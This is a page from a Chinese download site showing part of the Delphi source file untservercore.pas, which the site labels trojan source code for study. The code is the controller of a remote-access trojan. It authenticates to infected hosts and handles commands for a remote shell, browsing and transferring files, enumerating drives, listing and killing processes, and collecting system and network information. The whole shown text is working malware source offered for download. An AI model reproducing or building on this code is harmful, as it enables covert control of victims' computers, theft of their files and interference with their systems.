⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 untservercore.pas

📁 木马源程序,供大家研究
💻 PAS
📖 第 1 页 / 共 3 页
字号:
  Data: String;

  Time: TTimeVal;
  FDS: TFDSet;

  Len: Integer;

  dPID: String;
  dName: String;
  dModule: String;

  Temp: String;
  FName:String;
  Cmd: String;
  Param: Array[0..100]of String;

  D: DWord;
  I: Word;
  J: Word;

  rByte: Cardinal;
  sByte: Cardinal;

  Item: TListItem;
Begin
  Sock := rSock(P)^.Sock;
  Count := rSock(P)^.Count;

  Address := RemoteAddress(Sock);
  Port := RemotePort(Sock);
  rByte := 0;
  sByte := 0;

  AddUser(Address, Port, '', '', '', IntToStr(Sock));

  Repeat

    Time.tv_sec := 120;
    Time.tv_usec := 0;

    FD_ZERO(FDS);
    FD_SET(Sock, FDS);

    If Select(0, @FDS, NIL, NIL, @TIME) <= 0 Then Break;

    Len := Recv(Sock, Buffer, 1600, 0);
    If (Len <= 0) Then Break;
    Inc(rByte, Len);

    Data := String(Buffer);
    ZeroMemory(@Buffer, SizeOf(Buffer));

    While (Pos(#10, Data) > 0) Do
    Begin
      Temp := Copy(Data, 1, Pos(#10, Data)-1);
      Delete(Data, 1, Pos(#10, Data));

      StripOutCmd(Temp, Cmd);
      StripOutParam(Temp, Param);

      If IsNum(Cmd) Then
      Case StrToInt(Cmd) Of
        C_FINISH:Begin
                   For I := 0 To 100 Do
                     If (dlgProcessList[I] <> NIL) And
                       (dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                         dlgProcessList[I].PopupMenu1.Items[1].Enabled := True; 
                 End;
        C_DOWNLOAD: Form1.StatusBar1.Panels[1].Text := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
        C_PASS:
          if (Param[0] = '0') then CloseSocket(Sock);
        C_VERSION: begin
                      UpdateUser(Address, Port, Param[0], '', GetKBS(rByte)+'/'+GetKBS(sByte), '');
                      SendData(sock,'01 ' + password + #10,sByte);
                   end;

        C_ASSIGNEDNAME: UpdateUser(Address, Port, '', '', GetKBS(rByte)+'/'+GetKBS(sByte), Copy(Temp, 4, Length(Temp)));

        C_CONNECTION: UpdateUser(Address, Port, '', Copy(Temp, 4, Length(Temp)), GetKBS(rByte)+'/'+GetKBS(sByte), '');

        C_PING: SendData(Sock, IntToStr(C_PING)+#10, sByte);

        C_STARTTRANSFER: Begin
                           TransferInfo.Upload := Boolean(StrToInt(Param[0]));
                           TransferInfo.Size := StrToInt(Param[1]);
                           TransferInfo.Port := StrToInt(Param[2]);
                           TransferInfo.Filename := Copy(Temp, Pos(Param[3], Temp), Length(Temp));
                           TransferInfo.RemoteIP := RemoteAddress(Sock);
                           TransferInfo.RemotePort := RemotePort(Sock);
                           If (GetTransfer > -1) Then
                             If (Not TransferInfo.Upload) Then
                               TransferList[GetTransfer] := CreateThread(NIL, 0, @Transfer, @TransferInfo, 0, D)
                             Else
                               TransferList[GetTransfer] := CreateThread(NIL, 0, @Upload, @TransferInfo, 0, D);
                         End;

        C_INFOSYSTEM,
        C_INFOSERVER,
        C_INFONETWORK: Begin
                         Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
                         For I := 0 To 100 Do
                           If (dlgInformation[I] <> NIL) And
                              (dlgInformation[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                           Begin
                             Item := dlgInformation[I].ListView1.Items.Add;
                             Item.Caption := Param[0];
                             Item.SubItems.Add(Temp);
                             Break;
                           End;
                      End;
        C_PROCESSLIST: Begin
                         Temp := Copy(Temp, Pos(Param[3], Temp), Length(Temp));
                         For I := 0 To 100 Do
                           If (dlgProcessList[I] <> NIL) And
                              (dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                                dlgProcessList[I].pAddParent(Temp, Param[0], Param[1], Param[2]);
                         Temp := 'ok';
                         Send(Sock, Temp[1], Length(Temp), 0);
                         Inc(sByte, Length(Temp));
                       End;
        C_MODULELIST : Begin
                         dPID := Param[0];
                         dName := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
                         dName := Copy(dName, 1, Pos(#1, dName)-1);
                         dModule := Copy(Temp, Pos(#1, Temp)+1, Length(Temp));
                         If (dModule <> '') And (dModule <> ' ') Then
                         For I := 0 To 100 Do
                           If (dlgProcessList[I] <> NIL) And
                              (dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                                dlgProcessList[I].pAddChild(dPID, dName, dModule);
                         Temp := 'ok';
                         Send(Sock, Temp[1], Length(Temp), 0);
                         Inc(sByte, Length(Temp));
                       End;
        C_REQUESTLIST: Begin
                         // Attr Size Name
                         Temp := Copy(Temp, Pos(Param[2], Temp), Length(Temp));
                         For I := 0 To 100 Do
                           If (dlgFileManager[I] <> NIL) And
                              (dlgFileManager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                           Begin
                             If (Temp <> '.') Then
                             Begin
                               Item := dlgFileManager[I].ListView1.Items.Add;
                               Item.Caption := Temp;
                               If (Param[1] <> '0') Then
                                 Item.SubItems.Add(GetKBS(StrToInt(Param[1])))
                               Else
                                 Item.SubItems.Add(Param[1]);
                               If (Temp = '..') Then
                                 Item.SubItems.Add('Go Back')
                               Else
                                 Item.SubItems.Add(Param[0]);
                               If (LowerCase(ExtractFileExt(Temp)) = '.bat') Then Item.ImageIndex := 1 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.bmp') Then Item.ImageIndex := 2 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.com') Then Item.ImageIndex := 3 Else
                               If (Param[0] = 'DIR')                         Then Item.ImageIndex := 4 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.dll') Then Item.ImageIndex := 5 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.sys') Then Item.ImageIndex := 5 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.ocx') Then Item.ImageIndex := 5 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.mp3') Then Item.ImageIndex := 6 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.wav') Then Item.ImageIndex := 6 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.ogg') Then Item.ImageIndex := 6 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.exe') Then Item.ImageIndex := 7 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.gif') Then Item.ImageIndex := 8 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.ini') Then Item.ImageIndex := 9 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.inf') Then Item.ImageIndex := 9 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.txt') Then Item.ImageIndex := 9 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.cfg') Then Item.ImageIndex := 9 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.htm') Then Item.ImageIndex := 10 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.html')Then Item.ImageIndex := 10 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.php') Then Item.ImageIndex := 10 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.asp') Then Item.ImageIndex := 10 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.pl' ) Then Item.ImageIndex := 10 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.jpg') Then Item.ImageIndex := 11 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.pif') Then Item.ImageIndex := 12 Else
                               Item.ImageIndex := 0;
                             End;
                           End;
                         Temp := IntToStr(C_CURRENTPATH)+' 1'#10;
                         If (Sock > 0) Then
                         Begin
                           Send(Sock, Temp[1], Length(Temp), 0);
                           Inc(sByte, Length(Temp));    
                         End;
                       End;
        C_REQUESTDRIVE: Begin
                          For I := 0 To 100 Do
                            If (dlgFileManager[I] <> NIL) And
                               (dlgFileManager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                                 If (Param[0] <> '') Then
                                 Begin
                                   If (Param[0] <> 'A:\') Then
                                   Begin
                                     dlgFileManager[I].ComboBox1.Items.Add(Param[0]);
                                     dlgFileManager[I].ComboBox1.ItemIndex := 0;
                                   End;
                                   If (Param[0] = 'C:\') Then
                                   Begin
                                     Temp := IntToStr(C_REQUESTLIST)+' '+dlgFileManager[I].ComboBox1.Items.Strings[0]+#10;
                                     Send(Sock, Temp[1], length(Temp), 0);
                                     Inc(sByte, Length(Temp));
                                   End;                                   
                                 End;
                        End;
        C_CURRENTPATH: Begin
                         Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
                         For I := 0 To 100 Do
                           If (dlgFileManager[I] <> NIL) And
                              (dlgFileManager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                              Begin
                                dlgFileManager[I].Edit1.Text := Temp;
                                Break;
                              End;
                       End;
        C_ENDPROCESS: Begin
                        Case StrToInt(Param[1]) Of
                          0: Form1.StatusBar1.Panels[1].Text := Param[0] + ' PID Failed To End.';
                          1: Form1.StatusBar1.Panels[1].Text := Param[0] + ' PID Ended Successfully.';
                        End;

                      End;
        C_REMOTECMD: Begin
                       Temp := Copy(Temp, 4, Length(Temp));
                       For I := 0 To 100 Do
                         If (dlgRemoteShell[I] <> NIL) And
                            (dlgRemoteShell[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                            Begin
                              ReplaceStr(#1, #10, Temp);
                              dlgRemoteShell[I].Memo1.Lines.Add(Temp);
                              Break;
                            End;
                     End;
      End;
    End;

    UpdateUser(Address, Port, '', '', GetKBS(rByte)+'/'+GetKBS(sByte), '');
  Until 1 = 2;

  ZeroMemory(@I, SizeOf(I));
  For J := 0 To 100 Do
  Begin
    If (dlgInformation[I] <> NIL) and
       (dlgInformation[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgInformation[I].Close;
    If (dlgFilemanager[I] <> NIL) and
       (dlgFilemanager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgFilemanager[I].Close;
    If (dlgProcessList[I] <> NIL) and
       (dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgProcessList[I].Close;
    If (dlgRemoteShell[I] <> NIL) and
       (dlgRemoteShell[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgRemoteShell[I].Close;
  End;

  CloseSocket(Sock);
  RemoveUser(Address, Port);
  KillThread(HandleList[Count]);
End;

// Get a free handle for more threads
Function TServer.GetFreeHandle(VAR Int: Integer): Integer;
Var
  I: WORD;
Begin
  Result := -1;
  For I := 0 to 99 Do
    If (HandleList[I] = 0) Then
    Begin
      Result := I;
      Int := I;
      Break;
    End;
End;

procedure TServer.Connect(Host,password:string;Port :integer);
var sByte,D:Cardinal;
    Address,LPort:String;
begin
  Host := ResolveIP(Host);

  WSAStartUP($0101, WSA); //加载winsock库

  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := inet_Addr(pChar(Host));

  if (Winsock.Connect(Sock, Addr, SizeOf(Addr)) = 0) then
  begin
    SendData(sock,'01 ' + password + #10,sByte);     //连接成功发送密码验证
    Address := RemoteAddress(Sock);
    LPort := RemotePort(Sock);
    rSocket.Sock:=Sock;
//    AddUser(Address, LPort, '', '', '', IntToStr(Sock));
    CreateThread(NIL, 0, @listenHost, @rSocket, 0, D)
  end
  else
    MessageBox(0, '主机接接不收', '提示', MB_ICONERROR);

//  WSACleanUP();
end;

// Accepting new connections.
Function TServer.AcceptNew(SSock: TSocket): Integer;
Var
  I: Integer;
  D: DWord;
Begin
  If (GetFreeHandle(I) = -1) or (SSock <= 0) Then
  Begin
    Result := ERROR_ACCEPT;
    Exit;
  End;

  rSocket.Sock := SSock;
  rSocket.Count := I;

  SocketList[I] := SSock;
  HandleList[I] := CreateThread(nil, 0, @ListenHost, @rSocket, 0, D);

  Count := ReCount();

  Result := SUCCESS_ACCEPT;
End;

// Function for creating sockets and listening.
Function TServer.Listen: Integer;
Begin
  WSAStartUp($0101, WSA);

  Count := 0;
  FillChar(SocketList, 99, 0);

  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := INADDR_ANY;

  If (Bind(Sock, Addr, SizeOf(Addr)) <> 0) Then
  Begin
    Result := ERROR_BIND;
    ReturnError := Result;
    WSACleanUp();
    Exit;
  End;

  If (Winsock.listen(Sock, SOMAXCONN) <> 0) Then
  Begin
    Result := ERROR_LISTEN;
    ReturnError := Result;
    WSACleanUp();
    Exit;
  End;

  Len := SizeOf(Remote);

  Repeat
    TempSock := Accept(Sock, @Remote, @Len);
    If (TempSock = INVALID_SOCKET) Then
    Begin
      Result := ERROR_ACCEPT;
      ReturnError := Result;
      WSACleanUp();
      Exit;
    End;

    ResolveStatus(AcceptNew(TempSock));
    TempSock := INVALID_SOCKET;
  Until False;

  WSACleanUp();
End;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -